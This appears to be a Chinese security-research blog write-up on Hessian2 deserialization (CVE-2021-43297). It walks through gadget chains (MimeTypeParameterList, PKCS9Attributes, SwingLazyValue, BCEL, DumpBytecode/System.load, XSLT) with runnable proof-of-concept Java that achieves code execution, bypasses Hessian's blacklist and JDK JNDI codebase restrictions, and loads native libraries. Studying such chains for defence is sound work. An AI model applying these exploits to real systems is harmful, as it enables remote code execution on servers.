0x01 Apache Dubbo Hessian2 expection 2 deser
参考:Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297) (seebug.org)
虽是Dubbo
的CVE,但是漏洞点和修复点都在Dubbo
魔改的Hessian
依赖包,原版的Hessian
同样存在这个问题
Reproduce
Hessian2Input#readObject
这个方法是这么描述的👇
Reads an arbitrary object from the input stream when the type is unknown
也就是Hessian在反序列化时,根据输入流来判断类型
首先读取了输入流的一个字节(看到这里和0xff
作与运算)
根据这个标记字节来决定反序列化的类型,67对应'C',进入readObjectDefinition
-> readString
Copy case 'C' :
{
readObjectDefinition( null ) ;
return readObject() ;
}
这里不止67可以用,只要最后让他匹配不到类型抛出expect即可
readString
又读了一次标记字节(_buffer
头两个元素都是相同的标记字节)
但这次没有找到对应67的case,进入default,抛出了expect
异常
com.caucho.hessian.io.Hessian2Input#expect
这里继续对输入流进行反序列化,并将得到的对象obj拼接到异常错误信息中,妥妥的触发obj.String()
这里就和Dubbo
那个Exported Service Not Found
抛出异常的打法具有异曲同工之妙了
修复:Dubbo3.2.13
中不进行obj的拼接
接下来就是ROME利用链了
toStringBean#toString
-> getter
-> JdbcRowSetImpl#getDatabaseMetaData
-> InitialContext#lookup
但若目标环境没有ROME依赖呢
接下来就来学习一下大佬们挖到的链子orz
0x02 Different Path of XStream
XStream有一条原生JDK的链子(为什么能联想到XStream是因为XStream和Hessian一样不需要类实现Serializable
接口)
Copy javax.swing.MultiUIDefaults#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
javax.naming.InitialContext#doLookup()
这条链有两个限制
MultiUIDefaults
的访问修饰符是default
,只有javax.swing
才能使用它,Hessian反序列化时会出错
MultiUIDefaults
实现了Map接口,获取到的反序列化器为MapDeserializer
。
其对类进行实例化,会先检查该类是否可访问checkAccess
Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"
MimeTypeParameterList + MethodUtil
大佬们找到了另一个可利用的toString
类javax.activation.MimeTypeParameterList
Copy public String toString() {
StringBuffer buffer = new StringBuffer() ;
buffer . ensureCapacity ( this . parameters . size () * 16 );
Enumeration keys = this . parameters . keys ();
while ( keys . hasMoreElements ()) {
String key = (String) keys . nextElement ();
buffer . append ( "; " );
buffer . append (key);
buffer . append ( '=' );
buffer . append ( quote((String) this . parameters . get(key)) );
}
return buffer . toString ();
}
parameters
成员是Hashtable
类型,而UIDefaults
也刚好继承了Hashtable
看看SwingLazyValue#createValue
createValue
能够调用类的静态方法或对类进行实例化
(注意,这里用Class.forName
加载类时,指定的类加载器是null,所以SwingLazyValue
只能加载rt.jar
下的类)
sun.reflect.misc.MethodUtil
的invoke
静态方法可以任意调用方法
因此我们得到一条新的链子
Copy javax.activation.MimeTypeParameterList#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
sun.reflect.misc.MethodUtil#invoke
Copy import com . caucho . hessian . io . * ;
import sun . swing . SwingLazyValue ;
import javax . activation . MimeTypeParameterList ;
import javax . swing . * ;
import java . io . ByteArrayInputStream ;
import java . io . ByteArrayOutputStream ;
import java . lang . reflect . Field ;
import java . lang . reflect . Method ;
public class Test {
public static void ser ( Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream() ;
Hessian2Output output = new Hessian2Output(baos) ;
output . getSerializerFactory () . setAllowNonSerializable ( true ); //允许反序列化NonSerializable
baos . write ( 77 );
output . writeObject (evil);
output . flushBuffer ();
ByteArrayInputStream bais = new ByteArrayInputStream( baos . toByteArray()) ;
Hessian2Input input = new Hessian2Input(bais) ;
input . readObject ();
}
public static void main ( String [] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults() ;
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class . forName ( "java.lang.Runtime" ) . getDeclaredMethod ( "exec" , String . class );
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults . put ( "p4d0rn" , slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList() ;
setFieldValue(mimeTypeParameterList , "parameters" , uiDefaults) ;
ser(mimeTypeParameterList) ;
}
public static void setFieldValue ( Object obj , String fieldName , Object value) throws Exception {
Field field = obj . getClass () . getDeclaredField (fieldName);
field . setAccessible ( true );
field . set (obj , value);
}
}
Unsafe Bypass blacklist
上面的POC打不出来,本地调试的Hessian版本是4.0.63
该版本下Hessian在获取反序列化器时会对类进行检查
com.caucho.hessian.io.ClassFactory#isAllow
判断类是否允许被反序列化,其维护了一个黑名单
ClassFactory#load
把黑名单中的类都转为HashMap
试了一下降到4.0.38
就可以了
当然既然能调用任意方法了,我们也不必拘束于Runtime
利用Unsafe
加载字节码,注意Unsafe#defineClass
不会对类进行初始化,所以需要调用两次,在恶意类里添加一个静态方法,第二次调用之。
Copy public static byte [] getPayload() throws Exception {
ClassPool pool = ClassPool . getDefault ();
CtClass clazz = pool . makeClass ( "a" );
CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);
clazz . addMethod (staticInitializer);
return clazz . toBytecode ();
}
public static Object loadClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults() ;
Class < ? > clazz = Class . forName ( "sun.misc.Unsafe" );
Field field = clazz . getDeclaredField ( "theUnsafe" );
field . setAccessible ( true );
Unsafe unsafe = (Unsafe) field . get ( null );
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte [] bytes = getPayload() ;
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});
uiDefaults . put ( "p4d0rn" , slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList() ;
setFieldValue(mimeTypeParameterList , "parameters" , uiDefaults) ;
return mimeTypeParameterList;
}
public static Object initClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults() ;
SwingLazyValue slz = new SwingLazyValue( "a" , "exp" , new Object [ 0 ]) ;
uiDefaults . put ( "p4d0rn" , slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList() ;
setFieldValue(mimeTypeParameterList , "parameters" , uiDefaults) ;
return mimeTypeParameterList;
}
JNDI Breakthrough
高版本的JDK之所以有JNDI限制,是因为trustURLCodebase
默认为false
,禁用了RMI、CORBA和LDAP使用远程codebase的选项
JDK 6u132, JDK 7u122, JDK 8u113后
com.sun.jndi.rmi.object.trustURLCodebase = false
com.sun.jndi.cosnaming.object.trustURLCodebase = false
JDK 6u211,7u201, 8u191, 11.0.1后
com.sun.jndi.ldap.object.trustURLCodebase = false
好巧不巧这个java.lang.System#setProperty
就是个静态方法,可以用上面的sun.reflect.misc.MethodUtil#invoke
去调用
稍微修改一下上面的POC
Copy Method setProperty = Class . forName ( "java.lang.System" ) . getDeclaredMethod ( "setProperty" , String . class , String . class );
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});
开启trustURLCodebase
之后就可以发起JNDI请求了。
Copy Method doLookup = Class . forName ( "javax.naming.InitialContext" ) . getDeclaredMethod ( "doLookup" , String . class );
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://127.0.0.1:8099/aaa"}}});
0x03 PKCS9Attributes + BCEL
和上面的MimeTypeParameterList
+ MethodUtil
比较,这条链子就source和sink不同
sun.security.pkcs.PKCS9Attributes#toString
-> PKCS9Attributes#getAttribute
this.attributes
刚好是HashTable
com.sun.org.apache.bcel.internal.util.JavaWrapper#_mian
实例化一个JavaWrapper
之后进入wrapper.runMain
loader
在实例化时被初始化为com.sun.org.apache.bcel.internal.util.ClassLoader
(该ClassLoader继承了java.lang.ClassLoader
)
但是BCEL的ClassLoader
并不会对类进行初始化initial
,所以不会马上执行静态代码块
得写一个_main
让runMain
走到后面的逻辑,调用恶意类的_main
的时候才会执行静态代码块
设置_main
方法为静态方法,才不会抛出异常
Copy public class Evil {
static {
try {
System . out . println ( "static block" );
Runtime . getRuntime () . exec ( "calc" );
} catch ( Exception e) {}
}
public static void _main ( String [] argv) throws Exception {
System . out . println ( "_main" );
Runtime . getRuntime () . exec ( "calc" );
}
}
Copy public static void main( String [] args) throws Exception {
JavaWrapper . _main ( new String []{ getBCEL() , "p4d0rn" });
}
public static String getBCEL() throws Exception {
JavaClass javaClass = Repository . lookupClass ( Evil . class );
String encode = Utility . encode ( javaClass . getBytes () , true );
return "$$BCEL$$" + encode;
}
输出
static block
_main
Copy public static Object bcel() throws Exception {
UIDefaults uiDefaults = new UIDefaults() ;
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{getBCEL(), "p4d0rn"}});
PKCS9Attributes pkcs9Attributes = createWithoutConstructor( PKCS9Attributes . class ) ;
Class clazz = Class . forName ( "sun.security.pkcs.PKCS9Attribute" );
Field pkcs = clazz . getDeclaredField ( "PKCS9_OIDS" );
pkcs . setAccessible ( true );
uiDefaults . put ((( ObjectIdentifier []) pkcs . get ( null ))[ 1 ] , slz);
setFieldValue(pkcs9Attributes , "attributes" , uiDefaults) ;
return pkcs9Attributes;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate , Object . class , new Class [ 0 ] , new Object [ 0 ]) ;
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor < ? super T > objCons = constructorClass . getDeclaredConstructor (consArgTypes);
objCons . setAccessible ( true );
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc . setAccessible ( true );
return (T) sc . newInstance (consArgs);
}
注:BCEL Classloader在 JDK < 8u251之前还在rt.jar里面 原生JDK
0x04 ProxyLazyValue + DumpBytecode + System.load
jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode
是静态方法,能够写class文件
但由于ClassLoader的原因,SwingLazyValue
这里只能加载rt.jar
里面的类,而DumpBytecode
类在nashorn.jar
里面
javax.swing.UIDefaults$ProxyLazyValue.createValue
获取到classloader就能加载nashorn.jar
了
创建一个动态链接库文件
Copy #include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) calc (){
system( "calc" ) ;
}
gcc -c calc.c -o calc && gcc calc --share -o calc.so
Copy // dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain ( HMODULE hModule ,
DWORD ul_reason_for_call ,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH :
calc (); // 进程附加时调用
case DLL_THREAD_ATTACH :
case DLL_THREAD_DETACH :
case DLL_PROCESS_DETACH :
break ;
}
return TRUE ;
}
// pch.cpp
#include "pch.h"
#include <stdlib.h>
#include <stdio.h>
void calc () {
system( "calc" ) ;
}
// pch.h: 预编译标头文件。
#ifndef PCH_H
#define PCH_H
#include "framework.h"
extern "C" _declspec (dllexport) void calc ();
#endif //PCH_H
先写so/dll文件,再通过System.load
加载动态链接库
Copy import com . caucho . hessian . io . Hessian2Input ;
import com . caucho . hessian . io . Hessian2Output ;
import jdk . nashorn . internal . runtime . ScriptEnvironment ;
import jdk . nashorn . internal . runtime . logging . DebugLogger ;
import sun . misc . Unsafe ;
import javax . swing . * ;
import java . io . ByteArrayInputStream ;
import java . io . ByteArrayOutputStream ;
import java . lang . reflect . Constructor ;
import java . lang . reflect . Field ;
import java . nio . file . Files ;
import java . nio . file . Paths ;
public class WriteFile {
public static void main ( String [] args) throws Exception {
Unsafe unsafe = getUnsafe() ;
Object script = unsafe . allocateInstance ( ScriptEnvironment . class );
setFieldValue(script , "_dest_dir" , "E:/Server/" ) ;
Object debug = unsafe . allocateInstance ( DebugLogger . class );
byte [] code = Files . readAllBytes ( Paths . get ( "E:/calc.dll" )); // 准备好的dll放在E盘根目录下
String classname = "calc" ;
// 写so/dll文件
// UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode",
// "dumpBytecode", new Object[]{
// script,
// debug,
// code,
// classname
// });
//System.load加载so文件
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
"E:/Server/calc.class"
});
setFieldValue (proxyLazyValue , "acc" , null);
UIDefaults uiDefaults = new UIDefaults() ;
uiDefaults. put ( "key" , proxyLazyValue);
Class clazz = Class . forName ( "java.awt.datatransfer.MimeTypeParameterList" );
Object mimeTypeParameterList = unsafe . allocateInstance (clazz);
setFieldValue (mimeTypeParameterList , "parameters" , uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream() ;
Hessian2Output out = new Hessian2Output(baos) ;
baos. write (67);
out. getSerializerFactory (). setAllowNonSerializable (true);
out. writeObject (mimeTypeParameterList);
out. flushBuffer ();
ByteArrayInputStream bais = new ByteArrayInputStream( baos . toByteArray()) ;
Hessian2Input input = new Hessian2Input(bais) ;
input. readObject ();
}
public static void setFieldValue( Object obj , String fieldName , Object value) throws Exception {
Field field = obj . getClass () . getDeclaredField (fieldName);
field . setAccessible ( true );
field . set (obj , value);
}
public static Unsafe getUnsafe() throws Exception {
Class < ? > aClass = Class . forName ( "sun.misc.Unsafe" );
Constructor < ? > declaredConstructor = aClass . getDeclaredConstructor ();
declaredConstructor . setAccessible ( true );
Unsafe unsafe = (Unsafe) declaredConstructor . newInstance ();
return unsafe;
}
}
0x05 XSLT Transform
通过com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename
静态方法写文件,然后通过com.sun.org.apache.xalan.internal.xslt.Process#_main
去加载XSLT文件触发transform,达到任意字节码加载的目的。不需要出网。
Copy < xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform"
xmlns : b64 = "http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns : ob = "http://xml.apache.org/xalan/java/java.lang.Object"
xmlns : th = "http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns : ru = "http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
< xsl : template match = "/" >
< xsl : variable name = "bs" select = "b64:decodeBuffer(b64:new(),'<base64_payload>')" />
< xsl : variable name = "cl" select = "th:getContextClassLoader(th:currentThread())" />
< xsl : variable name = "rce" select = "ru:defineClass('<class_name>',$bs,$cl)" />
< xsl : value-of select = "$rce" />
</ xsl : template >
</ xsl : stylesheet >
Copy public static Object loadXslt() throws Exception {
UIDefaults uiDefaults = new UIDefaults() ;
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/Server/evil_xslt"}});
uiDefaults . put ( "p4d0rn" , slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList() ;
setFieldValue(mimeTypeParameterList , "parameters" , uiDefaults) ;
return mimeTypeParameterList;
}
public static Object writeXslt() throws Exception {
String xsltTemplate = "" ;
byte [] bytes = ClassPool . getDefault () . get ( "a" ) . toBytecode ();
String based = Base64 . getEncoder () . encodeToString (bytes);
String xslt = xsltTemplate . replace ( "<base64_payload>" , based) . replace ( "<class_name>" , "a" );
UIDefaults uiDefaults = new UIDefaults() ;
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/Server/evil_xslt", xslt.getBytes()});
uiDefaults . put ( "p4d0rn" , slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList() ;
setFieldValue(mimeTypeParameterList , "parameters" , uiDefaults) ;
return mimeTypeParameterList;
}
既然org.springframework.cglib.core.ReflectUtils#defineClass
是静态方法,为什么不直接调用呢?
试了一下ClassLoader
在Hessian序列化时会出问题。。。
0x06 Reference